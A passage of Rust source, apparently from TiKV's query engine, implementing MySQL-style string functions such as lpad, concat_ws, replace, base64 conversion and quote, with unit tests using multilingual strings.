return Ok(None);
}
}
Ok(Some(output))
}
#[rpn_fn(varg, min_args = 2)]
#[inline]
pub fn concat_ws(args: &[Option<BytesRef>]) -> Result<Option<Bytes>> {
if let Some(sep) = args[0] {
let rest = &args[1..];
Ok(Some(
rest.iter()
.filter_map(|x| *x)
.collect::<Vec<&[u8]>>()
.join::<&[u8]>(sep),
))
} else {
Ok(None)
}
}
#[rpn_fn]
#[inline]
pub fn ascii(arg: Option<BytesRef>) -> Result<Option<i64>> {
Ok(arg.map(|bytes| {
if bytes.is_empty() {
0
} else {
i64::from(bytes[0])
}
}))
}
#[rpn_fn]
#[inline]
pub fn reverse_utf8(arg: Option<BytesRef>) -> Result<Option<Bytes>> {
Ok(arg.map(|bytes| {
let s = String::from_utf8_lossy(bytes);
s.chars().rev().collect::<String>().into_bytes()
}))
}
#[rpn_fn]
#[inline]
pub fn hex_int_arg(arg: Option<&Int>) -> Result<Option<Bytes>> {
Ok(arg.map(|i| format!("{:X}", i).into_bytes()))
}
#[rpn_fn]
#[inline]
pub fn ltrim(arg: Option<BytesRef>) -> Result<Option<Bytes>> {
Ok(arg.map(|bytes| {
let pos = bytes.iter().position(|&x| x != SPACE);
if let Some(i) = pos {
bytes[i..].to_vec()
} else {
b"".to_vec()
}
}))
}
#[rpn_fn]
#[inline]
pub fn rtrim(arg: Option<BytesRef>) -> Result<Option<Bytes>> {
Ok(arg.map(|bytes| {
let pos = bytes.iter().rposition(|&x| x != SPACE);
if let Some(i) = pos {
bytes[..=i].to_vec()
} else {
Vec::new()
}
}))
}
#[rpn_fn]
#[inline]
pub fn lpad(
arg: Option<BytesRef>,
len: Option<&Int>,
pad: Option<BytesRef>,
) -> Result<Option<Bytes>> {
match (arg, len, pad) {
(Some(arg), Some(len), Some(pad)) => {
match validate_target_len_for_pad(*len < 0, *len, arg.len(), 1, pad.is_empty()) {
None => Ok(None),
Some(0) => Ok(Some(b"".to_vec())),
Some(target_len) => {
let r = if let Some(remain) = target_len.checked_sub(arg.len()) {
pad.iter()
.cycle()
.take(remain)
.chain(arg.iter())
.copied()
.collect::<Bytes>()
} else {
arg[..target_len].to_vec()
};
Ok(Some(r))
}
}
}
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn lpad_utf8(
arg: Option<BytesRef>,
len: Option<&Int>,
pad: Option<BytesRef>,
) -> Result<Option<Bytes>> {
match (arg, len, pad) {
(Some(arg), Some(len), Some(pad)) => {
let input = match str::from_utf8(&*arg) {
Ok(arg) => arg,
Err(err) => return Err(box_err!("invalid input value: {:?}", err)),
};
let pad = match str::from_utf8(&*pad) {
Ok(pad) => pad,
Err(err) => return Err(box_err!("invalid input value: {:?}", err)),
};
let input_len = input.chars().count();
match validate_target_len_for_pad(*len < 0, *len, input_len, 4, pad.is_empty()) {
None => Ok(None),
Some(0) => Ok(Some(b"".to_vec())),
Some(target_len) => {
let r = if let Some(remain) = target_len.checked_sub(input_len) {
pad.chars()
.cycle()
.take(remain)
.chain(input.chars())
.collect::<String>()
} else {
input.chars().take(target_len).collect::<String>()
};
Ok(Some(r.into_bytes()))
}
}
}
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn rpad(
arg: Option<BytesRef>,
len: Option<&Int>,
pad: Option<BytesRef>,
) -> Result<Option<Bytes>> {
match (arg, len, pad) {
(Some(arg), Some(len), Some(pad)) => {
match validate_target_len_for_pad(*len < 0, *len, arg.len(), 1, pad.is_empty()) {
None => Ok(None),
Some(0) => Ok(Some(b"".to_vec())),
Some(target_len) => {
let r = arg
.iter()
.chain(pad.iter().cycle())
.copied()
.take(target_len)
.collect::<Bytes>();
Ok(Some(r))
}
}
}
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn replace(
s: Option<BytesRef>,
from_str: Option<BytesRef>,
to_str: Option<BytesRef>,
) -> Result<Option<Bytes>> {
Ok(match (s, from_str, to_str) {
(Some(s), Some(from_str), Some(to_str)) => {
if from_str.is_empty() {
return Ok(Some(s.to_vec()));
}
let mut dest = Vec::with_capacity(s.len());
let mut last = 0;
while let Some(mut start) = twoway::find_bytes(&s[last..], from_str) {
start += last;
dest.extend_from_slice(&s[last..start]);
dest.extend_from_slice(to_str);
last = start + from_str.len();
}
dest.extend_from_slice(&s[last..]);
Some(dest)
}
_ => None,
})
}
#[rpn_fn]
#[inline]
pub fn left(lhs: Option<BytesRef>, rhs: Option<&Int>) -> Result<Option<Bytes>> {
match (lhs, rhs) {
(Some(lhs), Some(rhs)) => {
if *rhs <= 0 {
return Ok(Some(Vec::new()));
}
let rhs = *rhs as usize;
if lhs.len() < rhs {
Ok(Some(lhs.to_vec()))
} else {
Ok(Some(lhs[..rhs].to_vec()))
}
}
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn left_utf8(lhs: Option<BytesRef>, rhs: Option<&Int>) -> Result<Option<Bytes>> {
match (lhs, rhs) {
(Some(lhs), Some(rhs)) => {
if *rhs <= 0 {
return Ok(Some(Vec::new()));
}
match str::from_utf8(&*lhs) {
Ok(s) => {
let l = *rhs as usize;
if s.chars().count() > l {
Ok(Some(s.chars().take(l).collect::<String>().into_bytes()))
} else {
Ok(Some(s.to_string().into_bytes()))
}
}
Err(err) => Err(box_err!("invalid input value: {:?}", err)),
}
}
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn right(lhs: Option<BytesRef>, rhs: Option<&Int>) -> Result<Option<Bytes>> {
match (lhs, rhs) {
(Some(lhs), Some(rhs)) => {
if *rhs <= 0 {
return Ok(Some(Vec::new()));
}
let rhs = *rhs as usize;
if lhs.len() < rhs {
Ok(Some(lhs.to_vec()))
} else {
Ok(Some(lhs[(lhs.len() - rhs)..].to_vec()))
}
}
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn right_utf8(lhs: Option<BytesRef>, rhs: Option<&Int>) -> Result<Option<Bytes>> {
match (lhs, rhs) {
(Some(lhs), Some(rhs)) => {
if *rhs <= 0 {
return Ok(Some(Vec::new()));
}
match str::from_utf8(&*lhs) {
Ok(s) => {
let rhs = *rhs as usize;
let len = s.chars().count();
if len > rhs {
let idx = s
.char_indices()
.nth(len - rhs)
.map(|(idx, _)| idx)
.unwrap_or_else(|| s.len());
Ok(Some(s[idx..].to_string().into_bytes()))
} else {
Ok(Some(s.to_string().into_bytes()))
}
}
Err(err) => Err(box_err!("invalid input value: {:?}", err)),
}
}
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn upper_utf8(arg: Option<BytesRef>) -> Result<Option<Bytes>> {
match arg {
Some(bytes) => match str::from_utf8(bytes) {
Ok(s) => Ok(Some(s.to_uppercase().into_bytes())),
Err(err) => Err(box_err!("invalid input value: {:?}", err)),
},
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn upper(arg: Option<BytesRef>) -> Result<Option<Bytes>> {
Ok(arg.map(|b| b.to_vec()))
}
#[rpn_fn]
#[inline]
pub fn hex_str_arg(arg: Option<BytesRef>) -> Result<Option<Bytes>> {
Ok(arg.map(|b| hex::encode_upper(b).into_bytes()))
}
#[rpn_fn]
#[inline]
pub fn locate_2_args(substr: Option<BytesRef>, s: Option<BytesRef>) -> Result<Option<i64>> {
let (substr, s) = match (substr, s) {
(Some(v1), Some(v2)) => (v1, v2),
_ => return Ok(None),
};
Ok(twoway::find_bytes(s, substr)
.map(|i| 1 + i as i64)
.or(Some(0)))
}
#[rpn_fn]
#[inline]
pub fn reverse(arg: Option<BytesRef>) -> Result<Option<Bytes>> {
Ok(arg.map(|bytes| {
let mut s = bytes.to_vec();
s.reverse();
s
}))
}
#[rpn_fn]
#[inline]
pub fn locate_3_args(
substr: Option<BytesRef>,
s: Option<BytesRef>,
pos: Option<&Int>,
) -> Result<Option<Int>> {
if let (Some(substr), Some(s), Some(pos)) = (substr, s, pos) {
if *pos < 1 || *pos as usize > s.len() + 1 {
return Ok(Some(0));
}
Ok(twoway::find_bytes(&s[*pos as usize - 1..], substr)
.map(|i| pos + i as i64)
.or(Some(0)))
} else {
Ok(None)
}
}
#[rpn_fn(varg, min_args = 1)]
#[inline]
fn field<T: Evaluable + PartialEq>(args: &[Option<&T>]) -> Result<Option<Int>> {
Ok(Some(match args[0] {
// As per the MySQL doc, if the first argument is NULL, this function always returns 0.
None => 0,
Some(val) => args
.iter()
.skip(1)
.position(|&i| i == Some(val))
.map_or(0, |pos| (pos + 1) as i64),
}))
}
#[rpn_fn(varg, min_args = 1)]
#[inline]
fn field_bytes(args: &[Option<BytesRef>]) -> Result<Option<Int>> {
Ok(Some(match args[0] {
// As per the MySQL doc, if the first argument is NULL, this function always returns 0.
None => 0,
Some(val) => args
.iter()
.skip(1)
.position(|&i| i == Some(val))
.map_or(0, |pos| (pos + 1) as i64),
}))
}
#[rpn_fn(raw_varg, min_args = 2, extra_validator = elt_validator)]
#[inline]
pub fn elt(raw_args: &[ScalarValueRef]) -> Result<Option<Bytes>> {
assert!(raw_args.len() >= 2);
let index = raw_args[0].as_int();
Ok(match index {
None => None,
Some(i) => {
let i = *i;
if i <= 0 || i + 1 > raw_args.len() as i64 {
return Ok(None);
}
raw_args[i as usize].as_bytes().map(|x| x.to_vec())
}
})
}
/// validate the arguments are `(Option<&Int>, &[Option<BytesRef>)])`
fn elt_validator(expr: &tipb::Expr) -> Result<()> {
let children = expr.get_children();
assert!(children.len() >= 2);
super::function::validate_expr_return_type(&children[0], EvalType::Int)?;
for i in 1..children.len() {
super::function::validate_expr_return_type(&children[i], EvalType::Bytes)?;
}
Ok(())
}
#[rpn_fn]
#[inline]
pub fn space(len: Option<&Int>) -> Result<Option<Bytes>> {
Ok(match len.cloned() {
Some(len) => {
if len > i64::from(tidb_query_datatype::MAX_BLOB_WIDTH) {
None
} else if len <= 0 {
Some(Vec::new())
} else {
Some(vec![SPACE; len as usize])
}
}
None => None,
})
}
#[rpn_fn]
#[inline]
pub fn strcmp(left: Option<BytesRef>, right: Option<BytesRef>) -> Result<Option<i64>> {
use std::cmp::Ordering::*;
Ok(match (left, right) {
(Some(left), Some(right)) => Some(match left.cmp(right) {
Less => -1,
Equal => 0,
Greater => 1,
}),
_ => None,
})
}
#[rpn_fn]
#[inline]
pub fn instr_utf8(s: Option<BytesRef>, substr: Option<BytesRef>) -> Result<Option<Int>> {
if let (Some(s), Some(substr)) = (s, substr) {
let s = String::from_utf8_lossy(s);
let substr = String::from_utf8_lossy(substr);
let index = twoway::find_str(&s.to_lowercase(), &substr.to_lowercase())
.map(|i| s[..i].chars().count())
.map(|i| 1 + i as i64)
.or(Some(0));
Ok(index)
} else {
Ok(None)
}
}
#[rpn_fn]
#[inline]
pub fn find_in_set(s: Option<BytesRef>, str_list: Option<BytesRef>) -> Result<Option<Int>> {
Ok(match (s, str_list) {
(Some(s), Some(str_list)) => {
if str_list.is_empty() {
Some(0)
} else {
let s = String::from_utf8_lossy(s);
String::from_utf8_lossy(str_list)
.split(',')
.position(|str_in_set| str_in_set == s)
.map(|p| p as i64 + 1)
.or(Some(0))
}
}
_ => None,
})
}
#[rpn_fn]
#[inline]
pub fn trim_1_arg(arg: Option<BytesRef>) -> Result<Option<Bytes>> {
Ok(arg.map(|bytes| {
let l_pos = bytes.iter().position(|&x| x != SPACE);
if let Some(i) = l_pos {
let r_pos = bytes.iter().rposition(|&x| x != SPACE);
bytes[i..=r_pos.unwrap()].to_vec()
} else {
Vec::new()
}
}))
}
#[rpn_fn]
#[inline]
pub fn trim_3_args(
arg: Option<BytesRef>,
pat: Option<BytesRef>,
direction: Option<&i64>,
) -> Result<Option<Bytes>> {
if let (Some(arg), Some(pat), Some(direction)) = (arg, pat, direction) {
match TrimDirection::from_i64(*direction) {
Some(d) => {
let arg = String::from_utf8_lossy(arg);
let pat = String::from_utf8_lossy(pat);
Ok(Some(trim(&arg, &pat, d)))
}
_ => Err(box_err!("invalid direction value: {}", direction)),
}
} else {
Ok(None)
}
}
#[rpn_fn]
#[inline]
pub fn char_length(bs: Option<BytesRef>) -> Result<Option<Int>> {
Ok(bs.map(|b| b.len() as i64))
}
#[rpn_fn]
#[inline]
pub fn char_length_utf8(bs: Option<BytesRef>) -> Result<Option<Int>> {
match bs {
Some(bytes) => match str::from_utf8(bytes) {
Ok(s) => Ok(Some(s.chars().count() as i64)),
Err(err) => Err(box_err!("invalid input value: {:?}", err)),
},
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn to_base64(bs: Option<BytesRef>) -> Result<Option<Bytes>> {
match bs {
Some(bytes) => {
if bytes.len() > tidb_query_datatype::MAX_BLOB_WIDTH as usize {
return Ok(Some(Vec::new()));
}
if let Some(size) = encoded_size(bytes.len()) {
let mut buf = vec![0; size];
let len_without_wrap =
base64::encode_config_slice(bytes, base64::STANDARD, &mut buf);
line_wrap(&mut buf, len_without_wrap);
Ok(Some(buf))
} else {
Ok(Some(Vec::new()))
}
}
None => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn from_base64(bs: Option<BytesRef>) -> Result<Option<Bytes>> {
match bs {
Some(bytes) => {
let input_copy = strip_whitespace(bytes);
let will_overflow = input_copy
.len()
.checked_mul(BASE64_INPUT_CHUNK_LENGTH)
.is_none();
// mysql will return "" when the input is incorrectly padded
let invalid_padding = input_copy.len() % BASE64_ENCODED_CHUNK_LENGTH != 0;
if will_overflow || invalid_padding {
Ok(Some(Vec::new()))
} else {
Ok(base64::decode_config(&input_copy, base64::STANDARD).ok())
}
}
_ => Ok(None),
}
}
#[rpn_fn]
#[inline]
pub fn quote(input: Option<BytesRef>) -> Result<Option<Bytes>> {
match input {
Some(bytes) => {
let mut result = Vec::with_capacity(bytes.len() * 2 + 2);
result.push(b'\'');
for byte in bytes.iter() {
if *byte == b'\'' || *byte == b'\\' {
result.push(b'\\');
result.push(*byte)
} else if *byte == b'\0' {
result.push(b'\\');
result.push(b'0')
} else if *byte == 26u8 {
result.push(b'\\');
result.push(b'Z');
} else {
result.push(*byte)
}
}
result.push(b'\'');
Ok(Some(result))
}
_ => Ok(Some(Vec::from("NULL"))),
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::{f64, i64};
use tipb::ScalarFuncSig;
use crate::types::test_util::RpnFnScalarEvaluator;
#[test]
fn test_bin() {
let cases = vec![
(Some(10), Some(b"1010".to_vec())),
(Some(0), Some(b"0".to_vec())),
(Some(1), Some(b"1".to_vec())),
(Some(365), Some(b"101101101".to_vec())),
(Some(1024), Some(b"10000000000".to_vec())),
(None, None),
(
Some(Int::max_value()),
Some(b"111111111111111111111111111111111111111111111111111111111111111".to_vec()),
),
(
Some(Int::min_value()),
Some(b"1000000000000000000000000000000000000000000000000000000000000000".to_vec()),
),
(
Some(-1),
Some(b"1111111111111111111111111111111111111111111111111111111111111111".to_vec()),
),
(
Some(-365),
Some(b"1111111111111111111111111111111111111111111111111111111010010011".to_vec()),
),
];
for (arg0, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg0)
.evaluate(ScalarFuncSig::Bin)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_unhex() {
let cases = vec![
(Some(b"4D7953514C".to_vec()), Some(b"MySQL".to_vec())),
(Some(b"GG".to_vec()), None),
(
hex_str_arg(Some(&b"string".to_vec())).unwrap(),
Some(b"string".to_vec()),
),
(
hex_str_arg(Some(&b"1267".to_vec())).unwrap(),
Some(b"1267".to_vec()),
),
(Some(b"41\0".to_vec()), None),
(Some(b"".to_vec()), Some(b"".to_vec())),
(Some(b"b".to_vec()), Some(vec![0xb])),
(Some(b"a1b".to_vec()), Some(vec![0xa, 0x1b])),
(None, None),
];
for (arg, expect_output) in cases {
let output: Option<Bytes> = RpnFnScalarEvaluator::new()
.push_param(arg)
.evaluate(ScalarFuncSig::UnHex)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_oct_int() {
let cases = vec![
(Some(-1), Some(b"1777777777777777777777".to_vec())),
(Some(0), Some(b"0".to_vec())),
(Some(1), Some(b"1".to_vec())),
(Some(8), Some(b"10".to_vec())),
(Some(12), Some(b"14".to_vec())),
(Some(20), Some(b"24".to_vec())),
(Some(100), Some(b"144".to_vec())),
(Some(1024), Some(b"2000".to_vec())),
(Some(2048), Some(b"4000".to_vec())),
(Some(i64::MAX), Some(b"777777777777777777777".to_vec())),
(Some(i64::MIN), Some(b"1000000000000000000000".to_vec())),
(None, None),
];
for (arg0, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg0)
.evaluate(ScalarFuncSig::OctInt)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_length() {
let test_cases = vec![
(None, None),
(Some(""), Some(0i64)),
(Some("你好"), Some(6i64)),
(Some("TiKV"), Some(4i64)),
(Some("あなたのことが好きです"), Some(33i64)),
(Some("분산 데이터베이스"), Some(25i64)),
(Some("россия в мире кубок"), Some(38i64)),
(Some("قاعدة البيانات"), Some(27i64)),
];
for (arg, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg.map(|s| s.as_bytes().to_vec()))
.evaluate(ScalarFuncSig::Length)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_concat() {
let cases = vec![
(
vec![Some(b"abc".to_vec()), Some(b"defg".to_vec())],
Some(b"abcdefg".to_vec()),
),
(
vec![
Some("忠犬ハチ公".as_bytes().to_vec()),
Some("CAFÉ".as_bytes().to_vec()),
Some("数据库".as_bytes().to_vec()),
Some("قاعدة البيانات".as_bytes().to_vec()),
Some("НОЧЬ НА ОКРАИНЕ МОСКВЫ".as_bytes().to_vec()),
],
Some(
"忠犬ハチ公CAFÉ数据库قاعدة البياناتНОЧЬ НА ОКРАИНЕ МОСКВЫ"
.as_bytes()
.to_vec(),
),
),
(
vec![
Some(b"abc".to_vec()),
Some("CAFÉ".as_bytes().to_vec()),
Some("数据库".as_bytes().to_vec()),
],
Some("abcCAFÉ数据库".as_bytes().to_vec()),
),
(
vec![Some(b"abc".to_vec()), None, Some(b"defg".to_vec())],
None,
),
(vec![None], None),
];
for (row, exp) in cases {
let output = RpnFnScalarEvaluator::new()
.push_params(row)
.evaluate(ScalarFuncSig::Concat)
.unwrap();
assert_eq!(output, exp);
}
}
#[test]
fn test_concat_ws() {
let cases = vec![
(
vec![
Some(b",".to_vec()),
Some(b"abc".to_vec()),
Some(b"defg".to_vec()),
],
Some(b"abc,defg".to_vec()),
),
(
vec![
Some(b",".to_vec()),
Some("忠犬ハチ公".as_bytes().to_vec()),
Some("CAFÉ".as_bytes().to_vec()),
Some("数据库".as_bytes().to_vec()),
Some("قاعدة البيانات".as_bytes().to_vec()),
Some("НОЧЬ НА ОКРАИНЕ МОСКВЫ".as_bytes().to_vec()),
],
Some(
"忠犬ハチ公,CAFÉ,数据库,قاعدة البيانات,НОЧЬ НА ОКРАИНЕ МОСКВЫ"
.as_bytes()
.to_vec(),
),
),
(
vec![
Some(b",".to_vec()),
Some(b"abc".to_vec()),
Some("CAFÉ".as_bytes().to_vec()),
Some("数据库".as_bytes().to_vec()),
],
Some("abc,CAFÉ,数据库".as_bytes().to_vec()),
),
(
vec![
Some(b",".to_vec()),
Some(b"abc".to_vec()),
None,
Some(b"defg".to_vec()),
],
Some(b"abc,defg".to_vec()),
),
(
vec![Some(b",".to_vec()), Some(b"abc".to_vec())],
Some(b"abc".to_vec()),
),
(
vec![Some(b",".to_vec()), None, Some(b"abc".to_vec())],
Some(b"abc".to_vec()),
),
(
vec![
Some(b",".to_vec()),
Some(b"".to_vec()),
Some(b"abc".to_vec()),
],
Some(b",abc".to_vec()),
),
(
vec![
Some("忠犬ハチ公".as_bytes().to_vec()),
Some("CAFÉ".as_bytes().to_vec()),
Some("数据库".as_bytes().to_vec()),
Some("قاعدة البيانات".as_bytes().to_vec()),
],
Some(
"CAFÉ忠犬ハチ公数据库忠犬ハチ公قاعدة البيانات"
.as_bytes()
.to_vec(),
),
),
(vec![None, Some(b"abc".to_vec())], None),
(
vec![Some(b",".to_vec()), None, Some(b"abc".to_vec())],
Some(b"abc".to_vec()),
),
(
vec![Some(b",".to_vec()), Some(b"abc".to_vec()), None],
Some(b"abc".to_vec()),
),
(
vec![
Some(b",".to_vec()),
Some(b"".to_vec()),
Some(b"abc".to_vec()),
],
Some(b",abc".to_vec()),
),
(
vec![
Some("忠犬ハチ公".as_bytes().to_vec()),
Some("CAFÉ".as_bytes().to_vec()),
Some("数据库".as_bytes().to_vec()),
Some("قاعدة البيانات".as_bytes().to_vec()),
],
Some(
"CAFÉ忠犬ハチ公数据库忠犬ハチ公قاعدة البيانات"
.as_bytes()
.to_vec(),
),
),
(
vec![
Some(b",".to_vec()),
None,
Some(b"abc".to_vec()),
None,
None,
Some(b"defg".to_vec()),
None,
],
Some(b"abc,defg".to_vec()),
),
];
for (row, exp) in cases {
let output = RpnFnScalarEvaluator::new()
.push_params(row)
.evaluate(ScalarFuncSig::ConcatWs)
.unwrap();
assert_eq!(output, exp);
}
}
#[test]
fn test_bit_length() {
let test_cases = vec![
(None, None),
(Some(""), Some(0i64)),
(Some("你好"), Some(48i64)),
(Some("TiKV"), Some(32i64)),
(Some("あなたのことが好きです"), Some(264i64)),
(Some("분산 데이터베이스"), Some(200i64)),
(Some("россия в мире кубок"), Some(304i64)),
(Some("قاعدة البيانات"), Some(216i64)),
];
for (arg, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg.map(|s| s.as_bytes().to_vec()))
.evaluate(ScalarFuncSig::BitLength)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_ascii() {
let test_cases = vec![
(None, None),
(Some(b"1010".to_vec()), Some(49i64)),
(Some(b"-1".to_vec()), Some(45i64)),
(Some(b"".to_vec()), Some(0i64)),
(Some(b"999".to_vec()), Some(57i64)),
(Some(b"hello".to_vec()), Some(104i64)),
(Some("Grüße".as_bytes().to_vec()), Some(71i64)),
(Some("München".as_bytes().to_vec()), Some(77i64)),
(Some("数据库".as_bytes().to_vec()), Some(230i64)),
(Some("忠犬ハチ公".as_bytes().to_vec()), Some(229i64)),
(Some("Αθήνα".as_bytes().to_vec()), Some(206i64)),
];
for (arg, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.evaluate(ScalarFuncSig::Ascii)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_reverse_utf8() {
let cases = vec![
(Some(b"hello".to_vec()), Some(b"olleh".to_vec())),
(Some(b"".to_vec()), Some(b"".to_vec())),
(
Some("数据库".as_bytes().to_vec()),
Some("库据数".as_bytes().to_vec()),
),
(
Some("忠犬ハチ公".as_bytes().to_vec()),
Some("公チハ犬忠".as_bytes().to_vec()),
),
(
Some("あなたのことが好きです".as_bytes().to_vec()),
Some("すでき好がとこのたなあ".as_bytes().to_vec()),
),
(
Some("Bayern München".as_bytes().to_vec()),
Some("nehcnüM nreyaB".as_bytes().to_vec()),
),
(
Some("Η Αθηνά ".as_bytes().to_vec()),
Some(" άνηθΑ Η".as_bytes().to_vec()),
),
(None, None),
];
for (arg, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.evaluate(ScalarFuncSig::ReverseUtf8)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_hex_int_arg() {
let test_cases = vec![
(Some(12), Some(b"C".to_vec())),
(Some(0x12), Some(b"12".to_vec())),
(Some(0b1100), Some(b"C".to_vec())),
(Some(0), Some(b"0".to_vec())),
(Some(-1), Some(b"FFFFFFFFFFFFFFFF".to_vec())),
(None, None),
];
for (arg, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.evaluate(ScalarFuncSig::HexIntArg)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_ltrim() {
let test_cases = vec![
(None, None),
(Some(" bar "), Some("bar ")),
(Some(" b ar "), Some("b ar ")),
(Some("bar"), Some("bar")),
(Some(" "), Some("")),
(Some("\t bar"), Some("\t bar")),
(Some("\r bar"), Some("\r bar")),
(Some("\n bar"), Some("\n bar")),
(Some(" \tbar"), Some("\tbar")),
(Some(""), Some("")),
(Some(" 你好"), Some("你好")),
(Some(" 你 好"), Some("你 好")),
(
Some(" 분산 데이터베이스 "),
Some("분산 데이터베이스 "),
),
(
Some(" あなたのことが好きです "),
Some("あなたのことが好きです "),
),
];
for (arg, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg.map(|s| s.as_bytes().to_vec()))
.evaluate(ScalarFuncSig::LTrim)
.unwrap();
assert_eq!(output, expect_output.map(|s| s.as_bytes().to_vec()));
}
}
#[test]
fn test_rtrim() {
let test_cases = vec![
(None, None),
(Some(" bar "), Some(" bar")),
(Some("bar"), Some("bar")),
(Some("ba r"), Some("ba r")),
(Some(" "), Some("")),
(Some(" bar\t "), Some(" bar\t")),
(Some(" bar \t"), Some(" bar \t")),
(Some("bar \r"), Some("bar \r")),
(Some("bar \n"), Some("bar \n")),
(Some(""), Some("")),
(Some(" 你好 "), Some(" 你好")),
(Some(" 你 好 "), Some(" 你 好")),
(Some(" 분산 데이터베이스 "), Some(" 분산 데이터베이스")),
(
Some(" あなたのことが好きです "),
Some(" あなたのことが好きです"),
),
];
for (arg, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg.map(|s| s.as_bytes().to_vec()))
.evaluate(ScalarFuncSig::RTrim)
.unwrap();
assert_eq!(output, expect_output.map(|s| s.as_bytes().to_vec()));
}
}
#[allow(clippy::type_complexity)]
fn common_lpad_cases() -> Vec<(Option<Bytes>, Option<Int>, Option<Bytes>, Option<Bytes>)> {
vec![
(
Some(b"hi".to_vec()),
Some(5),
Some(b"?".to_vec()),
Some(b"???hi".to_vec()),
),
(
Some(b"hi".to_vec()),
Some(1),
Some(b"?".to_vec()),
Some(b"h".to_vec()),
),
(
Some(b"hi".to_vec()),
Some(0),
Some(b"?".to_vec()),
Some(b"".to_vec()),
),
(Some(b"hi".to_vec()), Some(-1), Some(b"?".to_vec()), None),
(
Some(b"hi".to_vec()),
Some(1),
Some(b"".to_vec()),
Some(b"h".to_vec()),
),
(Some(b"hi".to_vec()), Some(5), Some(b"".to_vec()), None),
(
Some(b"hi".to_vec()),
Some(5),
Some(b"ab".to_vec()),
Some(b"abahi".to_vec()),
),
(
Some(b"hi".to_vec()),
Some(6),
Some(b"ab".to_vec()),
Some(b"ababhi".to_vec()),
),
]
}
#[test]
fn test_lpad() {
let mut cases = vec![
(
Some(b"hello".to_vec()),
Some(0),
Some(b"h".to_vec()),
Some(b"".to_vec()),
),
(
Some(b"hello".to_vec()),
Some(1),
Some(b"h".to_vec()),
Some(b"h".to_vec()),
),
(Some(b"hello".to_vec()), Some(-1), Some(b"h".to_vec()), None),
(
Some(b"hello".to_vec()),
Some(3),
Some(b"".to_vec()),
Some(b"hel".to_vec()),
),
(Some(b"hello".to_vec()), Some(8), Some(b"".to_vec()), None),
(
Some(b"hello".to_vec()),
Some(8),
Some(b"he".to_vec()),
Some(b"hehhello".to_vec()),
),
(
Some(b"hello".to_vec()),
Some(9),
Some(b"he".to_vec()),
Some(b"hehehello".to_vec()),
),
(
Some(b"hello".to_vec()),
Some(5),
Some("您好".as_bytes().to_vec()),
Some(b"hello".to_vec()),
),
(Some(b"hello".to_vec()), Some(6), Some(b"".to_vec()), None),
(
Some(b"\x61\x76\x5e".to_vec()),
Some(2),
Some(b"\x35".to_vec()),
Some(b"\x61\x76".to_vec()),
),
(
Some(b"\x61\x76\x5e".to_vec()),
Some(5),
Some(b"\x35".to_vec()),
Some(b"\x35\x35\x61\x76\x5e".to_vec()),
),
(
Some(b"hello".to_vec()),
Some(i64::from(MAX_BLOB_WIDTH) + 1),
Some(b"he".to_vec()),
None,
),
(None, Some(-1), Some(b"h".to_vec()), None),
(None, None, None, None),
];
cases.append(&mut common_lpad_cases());
for (arg, len, pad, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.push_param(len)
.push_param(pad)
.evaluate(ScalarFuncSig::Lpad)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[allow(clippy::type_complexity)]
fn common_rpad_cases() -> Vec<(Option<Bytes>, Option<Int>, Option<Bytes>, Option<Bytes>)> {
vec![
(
Some(b"hi".to_vec()),
Some(5),
Some(b"?".to_vec()),
Some(b"hi???".to_vec()),
),
(
Some(b"hi".to_vec()),
Some(1),
Some(b"?".to_vec()),
Some(b"h".to_vec()),
),
(
Some(b"hi".to_vec()),
Some(0),
Some(b"?".to_vec()),
Some(b"".to_vec()),
),
(
Some(b"hi".to_vec()),
Some(1),
Some(b"".to_vec()),
Some(b"h".to_vec()),
),
(
Some(b"hi".to_vec()),
Some(5),
Some(b"ab".to_vec()),
Some(b"hiaba".to_vec()),
),
(
Some(b"hi".to_vec()),
Some(6),
Some(b"ab".to_vec()),
Some(b"hiabab".to_vec()),
),
(Some(b"hi".to_vec()), Some(-1), Some(b"?".to_vec()), None),
(Some(b"hi".to_vec()), Some(5), Some(b"".to_vec()), None),
(
Some(b"hi".to_vec()),
Some(0),
Some(b"".to_vec()),
Some(b"".to_vec()),
),
]
}
#[test]
fn test_rpad() {
let mut cases = vec![
(
Some(b"\x61\x76\x5e".to_vec()),
Some(5),
Some(b"\x35".to_vec()),
Some(b"\x61\x76\x5e\x35\x35".to_vec()),
),
(
Some(b"\x61\x76\x5e".to_vec()),
Some(2),
Some(b"\x35".to_vec()),
Some(b"\x61\x76".to_vec()),
),
(
Some("a多字节".as_bytes().to_vec()),
Some(13),
Some("测试".as_bytes().to_vec()),
Some("a多字节测".as_bytes().to_vec()),
),
(
Some(b"abc".to_vec()),
Some(i64::from(MAX_BLOB_WIDTH) + 1),
Some(b"aa".to_vec()),
None,
),
];
